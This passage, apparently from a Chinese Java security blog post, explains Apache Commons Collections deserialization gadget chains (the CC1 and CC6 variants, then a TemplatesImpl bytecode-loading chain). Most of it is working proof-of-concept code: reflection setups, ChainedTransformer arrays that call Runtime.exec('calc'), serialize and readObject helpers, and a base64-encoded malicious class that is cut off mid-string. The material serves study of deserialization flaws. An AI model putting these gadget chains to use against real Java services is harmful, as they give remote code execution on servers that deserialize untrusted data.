而根据如下代码段的逻辑:

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey(); // 得到我们外部传递 map 的 key, 这里最好传入 key 的值是 value
Class<?> memberType = memberTypes.get(name); // 因为 Retention 只有 value 属性, 所以这里我们只可以传入 key 的值是 value 的 map 才可以不为 null.
if (memberType != null) {
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name))); // 注意这里 setValue 方法传入的值并不可控, 待会儿编写好 POC 会抛出异常.
}
}
}

我们可以看到, 这个代码块对memberValues进行遍历, 并进行setValue操作, 而memberValues又是在构造器中是可控的. 由于这个类不是public, 所以我们需要使用反射解决:

public class Main {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime(); // 这里 runtime 并没有传入
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"});
HashMap hashMap = new HashMap();
hashMap.put("value", "b"); // 使用 value, 硬性规定
TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, null, invokerTransformer);
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, transformedMap);

serialize(invocationHandler);
unserialize();
}

public static void serialize(Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}

public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
ois.readObject();
}
}

但代码运行后会抛出异常:

Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
image-20240925183129363.png

原因则是AnnotationInvocationHandler::readObject方法中的memberValue.setValue(new XXX)中调用的值并不可控! 此时应该怎么办呢.

ConstantTransformer::transform 返回任意值

此时我们不妨重新找一下其他的实现了Transformer接口的其他可利用的transform方法.

Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
image-20240925184236012.png

发现ConstantTransformer类, 这个类定义的transform方法不管传入什么内容, 都会返回自定义任意值的一个方法. 这个方法挺有意思, 我们可以做一下测试:

public class Main {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
// InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
// new Class[]{String.class}, new Object[]{"calc"});
ConstantTransformer helloWorld = new ConstantTransformer("HelloWorld"); // 不管调用 transform 方法传递了什么参数, 都会返回 HelloWorld 字符串
HashMap hashMap = new HashMap();
hashMap.put("value", "b");
TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, null, helloWorld);
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, transformedMap);

serialize(invocationHandler);
unserialize();
}

public static void serialize(Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}

public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
ois.readObject();
}
}

直接运行肯定看不出来效果, 但是我们可以在DEBUG途中进行表达式求值:

Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
image-20240925185315294.png
ChainedTransformer::transform 递归调用

那么我们继续找可以利用的transform方法的类:

Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
image-20240925185613530.png

这里可以发现,ChainedTransformer这个类的transform方法, 会将上一次transform方法调用的结果, 当下一次的参数使用, 这里有一个递归调用的问题.

那么我们思路就有了, 我们刚刚失败的问题是因为如下代码:

memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name))); // 注意这里 setValue 方法传入的值并不可控, 待会儿编写好 POC 会抛出异常.

这里可以通过ConstantTransformer这个类解决, 因为这个类的transform方法不管你丢什么参数进来, 我们都可以返回一个Runtime对象.

ChainedTransformer这个类的transform方法调用的结果会当成下一次调用transform参数, 所以我们的调用思路如下:

ConstantTransformer -> 不管你丢什么参数进来, 我返回 Runtime 对象
InvokerTransformer -> 我继续调用该危险方法, 实现 RCE

随后我们进行测试:

public class Main {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
Transformer[] transformerChain = new Transformer[]{
new ConstantTransformer(runtime), // 放入 runtime 对象
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"}) // 调用 runtime对象.exec(calc)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer
HashMap hashMap = new HashMap();
hashMap.put("value", "b"); // value 硬性规定
TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, null, chainedTransformer);
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, transformedMap);

serialize(invocationHandler);
unserialize();
}

public static void serialize(Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}

public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
ois.readObject();
}
}

最终会抛出异常:

Exception in thread "main" java.io.NotSerializableException: java.lang.Runtime

是因为Runtime这个类并不允许序列化操作, 因为这个类没有实现Serializable接口:

public class Runtime {...}

但是 Class 允许序列化:

public final class Class<T> implements java.io.Serializable {...}

此时我们可以改一下我们利用ChainedTransformer::transform的思路:

ConstantTransformer -> 不管你丢什么参数进来, 我返回 Runtime 的 Class. (Class 对象允许序列化)
InvokerTransformer -> 我调用 Class 的 getMethod 方法, 参数是 getRuntime -> 返回 getRuntime 这个 Method
InvokerTransformer -> 我调用 Method 的 invoke 方法, 参数是 null -> 返回 runtime 对象
InvokerTransformer -> 我调用 runtime 对象的 exec 方法, 参数是 calc

最终手搓POC:

public class Main {
public static void main(String[] args) throws Exception {
Transformer[] transformerChain = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", // public Method getMethod(String name, Class<?>... parameterTypes)
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", // public Object invoke(Object obj, Object... args)
new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"}) // 调用 runtime对象.exec(calc)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer, 递归调用
HashMap hashMap = new HashMap();
hashMap.put("value", "b"); // value 硬性规定, 因为 Retention 中只存在一个 value 属性
TransformedMap transformedMap = (TransformedMap) TransformedMap.decorate(hashMap, null, chainedTransformer);
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, transformedMap);

serialize(invocationHandler);
unserialize();
}

public static void serialize(Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}

public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
ois.readObject();
}
}

最终成功弹出计算器. 最终链条梳理:

AnnotationInvocationHandler::readObject
AbstractInputCheckedMapDecorator::setValue
TransformedMap::checkSetValue
ChainedTransformer::transform
ConstantTransformer::transform
InvokerTransformer::transform
Runtime::getRuntime

CC3 链路 (版本2) jdk1.8.0_65 俗称 CC1

LazyMap::get 链式调用

CC6 的链条与 CC1 的后半部分是一样的, 也就是说ChainedTransformer::transform && ConstantTransformer::transform && InvokerTransformer::transform仍然作为后半段的利用方法.

最主要的核心区别是在 CC1 中使用了TransformedMap::checkSetValue方法进行调用ChainedTransformer::transform的方法, 而调用ChainedTransformer::transform的位置不单单只有一个, 我们看一下:

Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
image-20240926090423752.png

这里LazyMap::get方法同样调用了transform方法, 而factory的成员属性如下:

public class LazyMap
extends AbstractMapDecorator
implements Map, Serializable { // 可序列化, 并且实现了 Map 接口
protected final Transformer factory; // Transformer 类型的 factory

public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory); // 工厂模式
}

protected LazyMap(Map map, Factory factory) { // protected 访问修饰符, 别的包不可以访问
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = FactoryTransformer.getInstance(factory);
}
}

其中factory成员属性只要是Transformer接口下的类就行, 而我们之前的下半段链路又都是Transformer接口下的:

ChainedTransformer::transform
ConstantTransformer::transform
InvokerTransformer::transform

所以这也是一条链路, 我们可以编写代码进行测试, 看一下是否可以弹出计算器:

Transformer[] transformerChain = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", // public Method getMethod(String name, Class<?>... parameterTypes)
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", // public Object invoke(Object obj, Object... args)
new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"}) // 调用 runtime对象.exec(calc)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer, 递归调用
HashMap<Object, Object> map = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer);
lazyMap.get("heihu577"); // 运行弹出计算器

我们按照之前的思路继续往下找. 查找一个调用了Map.get(任意类型)的点.

AnnotationInvocationHandler::invoke 链式调用

AnnotationInvocationHandler::invoke方法是这样定义的:

Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
image-20240926094523410.png

从图中可以看到, 如果我们想要代码顺利执行, 必须调用invoke方法时, 被调用的方法是无参方法.

这里memberValues就是Map类型, 并且该值可控, 我们可以将其修改为我们的LazyMap, 所以这里可以作为链路中的一环进行调用.

AnnotationInvocationHandler实际上是实现了InvocationHandler接口的类, 而我们学习动态代理时我们知道, 当我们调用代理对象.任意方法()实则会调用代理对象.invoke(对象, 方法名, 参数), 所以这里我们需要一个动态代理的创建过程.Proxy.newProxyInstance的方法定义如下:

public class Proxy implements java.io.Serializable {
@CallerSensitive
public static Object newProxyInstance(ClassLoader loader,
Class<?>[] interfaces,
InvocationHandler h) // 第三个参数接收一个 InvocationHandler
throws IllegalArgumentException
{
// ...
}
}

那么我们可以通过Proxy.newProxyInstance将我们通过反射创建的AnnotationInvocationHandler对象传入进来, 生成代理对象, 随后调用该代理对象的无参方法, 最后成功调用AnnotationInvocationHandler::invoke方法. 那么准备如下POC:

Transformer[] transformerChain = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", // public Method getMethod(String name, Class<?>... parameterTypes)
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", // public Object invoke(Object obj, Object... args)
new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"}) // 调用 runtime对象.exec(calc)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer, 递归调用
HashMap<Object, Object> map = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer); // 创建一个 lazyMap 对象
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // 得到 AnnotationInvocationHandler
Constructor<?> AnnotationInvocationHandlerConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
AnnotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) AnnotationInvocationHandlerConstructor.newInstance(Override.class, lazyMap); // lazyMap 设置为 memberValues 的值
Map lazyMapProxyObj = (Map) Proxy.newProxyInstance(InvocationHandler.class.getClassLoader(), lazyMap.getClass().getInterfaces(), invocationHandler); // lazyMap 实现了 Map 接口, 根据第二个参数 lazyMap.getClass().getInterfaces() 所以这里使用 Map 进行接收
lazyMapProxyObj.isEmpty(); // 随意调用一个参数为空的方法, 会走向 AnnotationInvocationHandlerConstructor 的 invoke 方法

运行即可弹出计算器.

AnnotationInvocationHandler::readObject 入口方法

那么谁的readObject方法《调用一个参数为空的方法》了呢? 这里AnnotationInvocationHandler::readObject满足我们的需求, 因为它调用了entrySet()方法, 该方法参数为空:

Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB
image-20240926104816672.png

那么手搓POC:

public class Main4 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
Transformer[] transformerChain = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", // public Method getMethod(String name, Class<?>... parameterTypes)
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", // public Object invoke(Object obj, Object... args)
new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"}) // 调用 runtime对象.exec(calc)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer, 递归调用
HashMap<Object, Object> map = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer); // 创建一个 lazyMap 对象
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); // 得到 AnnotationInvocationHandler
Constructor<?> AnnotationInvocationHandlerConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
AnnotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) AnnotationInvocationHandlerConstructor.newInstance(Override.class, lazyMap); // lazyMap 设置为 memberValues 的值
Map lazyMapProxyObj = (Map) Proxy.newProxyInstance(InvocationHandler.class.getClassLoader(), lazyMap.getClass().getInterfaces(), invocationHandler); // lazyMap 实现了 Map 接口, 根据第二个参数 lazyMap.getClass().getInterfaces() 所以这里使用 Map 进行接收
Object o = AnnotationInvocationHandlerConstructor.newInstance(Override.class, lazyMapProxyObj); // 最终生成恶意对象
serialize(o);
unserialize();
}

public static void serialize(Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}

public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
ois.readObject();
}
}

运行即可弹出计算器. 最终链条梳理:

AnnotationInvocationHandler::readObject
AnnotationInvocationHandler::invoke
LazyMap::get
ChainedTransformer::transform
ConstantTransformer::transform
InvokerTransformer::transform
Runtime::getRuntime

CC3 链路 (版本3) jdk1.8.0_131 俗称CC6

由于上述的链路依赖于AnnotationInvocationHandler, 而这个类在JDK1.8_131版本修复了该链路, 修复了同名方法的调用, 那么不如来一条不受版本限制的链路.

TiedMapEntry::hashCode 链式调用

这个版本的CC链路, 后半段仍然一致, 如下:

LazyMap::get
ChainedTransformer::transform
ConstantTransformer::transform
InvokerTransformer::transform

那么谁调用了LazyMap::get方法呢?在这里有一个TiedMapEntry类, 该类也存在于Commons-collections包下, 其中它的关键方法如下:

public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
private final Map map; // 接收一个 Map, 这里可以存放 LazyMap
private final Object key;

public TiedMapEntry(Map map, Object key) {
super();
this.map = map; // 对 Map 进行初始化操作
this.key = key;
}

public Object getValue() { // 被 hashCode 方法调用进来, 注意这里的 key 是可控的
return map.get(key);
}

public int hashCode() {
Object value = getValue(); // 调用 getValue 方法
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
}

那么我们可以这样构造:

Transformer[] transformerChain = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", // public Method getMethod(String name, Class<?>... parameterTypes)
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", // public Object invoke(Object obj, Object... args)
new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"}) // 调用 runtime对象.exec(calc)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer, 递归调用
HashMap<Object, Object> map = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "heihu577");
tiedMapEntry.hashCode(); // 调用弹出计算器
HashMap::readObject 入口方法 - 调用 hashCode

在我们之前学习URLDNS链时, 我们知道,Map::readObjectputVal时, 会对Key进行调用hashCode方法, 最主要的核心代码如下:

public class HashMap<K,V> extends AbstractMap<K,V> implements Map<K,V>, Cloneable, Serializable {
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); // 调用 hashCode 方法
}

private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
// ... 其他代码
putVal(hash(key), key, value, false, false); // 对 key 进行调用 hash 方法操作
}
}

所以这里也是一个链路, 它的链路如下:

HashMap::readObject
TiedMapEntry::hashCode
LazyMap::get
ChainedTransformer::transform
ConstantTransformer::transform
InvokerTransformer::transform
Runtime::getRuntime

但是我们需要注意的是, 我们在生成反序列化二进制文件时, 主动调用HashMap::put方法同样会触发TiedMapEntry::hashCode方法, 这一点在我们之前的URLDNS链中有分析过, 所以我们在构造时仍然需要一个反射的一个操作. 我们put时, 放入正常的对象, 不让他走到最终的链路, 而put完之后通过反射再将恶意对象放回来, 即可避免我们生成二进制文件时就直接走到了链路尽头, 从而造成了一系列非预期的问题.

最终POC如下:

public static void main(String[] args) throws Exception {
Transformer[] transformerChain = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", // public Method getMethod(String name, Class<?>... parameterTypes)
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", // public Object invoke(Object obj, Object... args)
new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"calc"}) // 调用 runtime对象.exec(calc)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerChain); // 准备 chainedTransformer, 递归调用
HashMap<Object, Object> map = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(), "heihu577"); // 准备一个非恶意的 HashMap, 避免在调用 TiedMapEntry::hashCode 时顺便调用了恶意 LazyMap 中的 get 方法, 从而 put 时就调用了链路, 导致序列化时产生了非预期
HashMap<TiedMapEntry, Object> hsMap = new HashMap<>();
hsMap.put(tiedMapEntry, null); // put 时, 调用 TiedMapEntry::hashCode 方法也无所谓, 因为 TiedMapEntry 下的 map 属性是一个正常的 Map, 不会调用链路
Field lazyMapDst = tiedMapEntry.getClass().getDeclaredField("map"); // put 完毕之后, 我们需要通过反射改回我们的恶意 Map, 也就是 LazyMap, 以便生成的 POC 打到目标机器时可以走我们的恶意链路.
lazyMapDst.setAccessible(true);
lazyMapDst.set(tiedMapEntry, lazyMap); // 将 map 改回
serialize(hsMap);
unserialize(); // 运行弹出计算器
}

public static void serialize(Object o) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("D:/heihu577.ser"));
oos.writeObject(o);
}

public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("D:/heihu577.ser"));
ois.readObject();
}

CC3 链路 (版本4) >= jdk1.8.0_131 CC4 同样可用 俗称CC3

在前面的CC链路中, 我们链路的尽头始终是调用了InvokerTransformer::transform进行执行我们的Runtime.exec进行反序列化的, 而这个链路最终调用的是我们之前学习过的Xalan ClassLoader进行加载类字节码进行GetShell的.

Xalan ClassLoader 利用

在这里我们先复习一下Xalan ClassLoader:

Java 安全 | 反序列化 URLDNS+CC+自己挖一条链+CB

在之前我们成功分析出链路, 并成功编写出本地RCE脚本, 笔者先贴上来:

TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
Field tfactory = templates.getClass().getDeclaredField("_tfactory"); // 必须放置 TransformerFactoryImpl 对象
name.setAccessible(true);
tfactory.setAccessible(true);
bytecodes.setAccessible(true);
byte[][] myBytes = new byte[1][];
myBytes[0] =
new BASE64Decoder().decodeBuffer(
"恶意类字节码 Base64 后的值, 可以使用 Base64.getEncoder().encodeToString(Repository.lookupClass(具体类.class).getBytes()) 进行生成"); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
bytecodes.set(templates, myBytes);
name.set(templates, "");
tfactory.set(templates, new TransformerFactoryImpl());
Transformer transformer = templates.newTransformer(); // 调用 newTransformer() 进行序列化操作

那么这个Xalan ClassLoader是否可以成功被利用, 取决于TemplatesImpl这个类是否支持序列化, 以及它下面的成员属性_bytecodes, _name, _tfactory是否支持序列化, 那么我们看一下这个类的定义:

public final class TemplatesImpl implements Templates, Serializable { // 实现了 Serializable 接口, 支持序列化操作
private String _name = null; // 可以序列化, 可以通过反射修改
private byte[][] _bytecodes = null; // 可以序列化, 可以通过反射修改
private transient TransformerFactoryImpl _tfactory = null; // transient 不可被序列化
// ... 其他代码
}

_tfactory这个属性被transient修饰, 所以这个成员属性是不允许序列化的, 那么这里怎么办呢?既然它实现了Serializable接口, 那么readObject中肯定有它自己的逻辑:

private void  readObject(ObjectInputStream is)
throws IOException, ClassNotFoundException
{
ObjectInputStream.GetField gf = is.readFields();
_name = (String)gf.get("_name", null);
_bytecodes = (byte[][])gf.get("_bytecodes", null);
_class = (Class[])gf.get("_class", null);
_transletIndex = gf.get("_transletIndex", -1);

_outputProperties = (Properties)gf.get("_outputProperties", null);
_indentNumber = gf.get("_indentNumber", 0);

if (is.readBoolean()) {
_uriResolver = (URIResolver) is.readObject();
}

_tfactory = new TransformerFactoryImpl(); // 这里程序会自动对 _tfactory 成员属性进行初始化操作
}

可以看到最后一行代码,readObject方法中对_tfactory成员属性进行初始化了, 所以我们在编写反序列化POC时, 无需操心_tfactory.

那么我们需要构造的POC上半段就是这样:

TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
name.setAccessible(true);
bytecodes.setAccessible(true);
byte[][] myBytes = new byte[1][];
myBytes[0] = new BASE64Decoder().decodeBuffer("恶意类字节码 Base64 后的值, 可以使用 Base64.getEncoder().encodeToString(Repository.lookupClass(具体类.class).getBytes()) 进行生成"); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
bytecodes.set(templates, myBytes);
name.set(templates, "");
// 省去了对 _tfactory 的初始化操作.
// Transformer transformer = templates.newTransformer(); // 调用 newTransformer() 进行加载恶意类字节码

而我们知道的是, 如果想调用TemplatesImpl::newTransformer方法, 我们又需要重新找链路, 在我们之前的CC链我们知道,InvokerTransformer.transform这个方法允许调用任意对象的任意方法, 所以这里我们可以使用原先的上半链路, 通过InvokerTransformer.transform + ConstantTransformer::transform + ChainedTransformer::transform进行调用到TemplatesImpl::newTransformer方法, 那么构造POC:

public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
name.setAccessible(true);
bytecodes.setAccessible(true);
byte[][] myBytes = new byte[1][];
myBytes[0] = new BASE64Decoder().decodeBuffer("yv66vgAAADQAZgoAEQAzCgA0ADUHADYKADcAOAoAOQA6CgA7ADwJAD0APgcAPwoACABACgBBAEIKAEMARAgARQoAQwBGBwBHBwBICgAPAEkHAEoBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEACUxjb20vQ01EOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAZlbmNvZGUBAAJbQgEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwBLAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwBHAQAKU291cmNlRmlsZQEACENNRC5qYXZhDAASABMHAEwMAE0AUAEAB2NvbS9DTUQHAFEMAFIAUwcAVAwAVQBWBwBXDAAdAFgHAFkMAFoAWwEAEGphdmEvbGFuZy9TdHJpbmcMABIAXAcAXQwAXgBfBwBgDABhAGIBAARjYWxjDABjAGQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MABIAZQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABBqYXZhL3V0aWwvQmFzZTY0AQAKZ2V0RW5jb2RlcgEAB0VuY29kZXIBAAxJbm5lckNsYXNzZXMBABwoKUxqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXI7AQArY29tL3N1bi9vcmcvYXBhY2hlL2JjZWwvaW50ZXJuYWwvUmVwb3NpdG9yeQEAC2xvb2t1cENsYXNzAQBJKExqYXZhL2xhbmcvQ2xhc3M7KUxjb20vc3VuL29yZy9hcGFjaGUvYmNlbC9pbnRlcm5hbC9jbGFzc2ZpbGUvSmF2YUNsYXNzOwEANGNvbS9zdW4vb3JnL2FwYWNoZS9iY2VsL2ludGVybmFsL2NsYXNzZmlsZS9KYXZhQ2xhc3MBAAhnZXRCeXRlcwEABCgpW0IBABhqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXIBAAYoW0IpW0IBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQAFKFtCKVYBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAFcHJpbnQBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWACEAAwARAAAAAAAFAAEAEgATAAEAFAAAAC8AAQABAAAABSq3AAGxAAAAAgAVAAAABgABAAAAEgAWAAAADAABAAAABQAXABgAAAAJABkAGgABABQAAABaAAQAAgAAAB64AAISA7gABLYABbYABkyyAAe7AAhZK7cACbYACrEAAAACABUAAAAOAAMAAAAcAA8AHQAdAB4AFgAAABYAAgAAAB4AGwAcAAAADwAPAB0AHgABAAEAHwAgAAIAFAAAAD8AAAADAAAAAbEAAAACABUAAAAGAAEAAAAiABYAAAAgAAMAAAABABcAGAAAAAAAAQAhACIAAQAAAAEAIwAk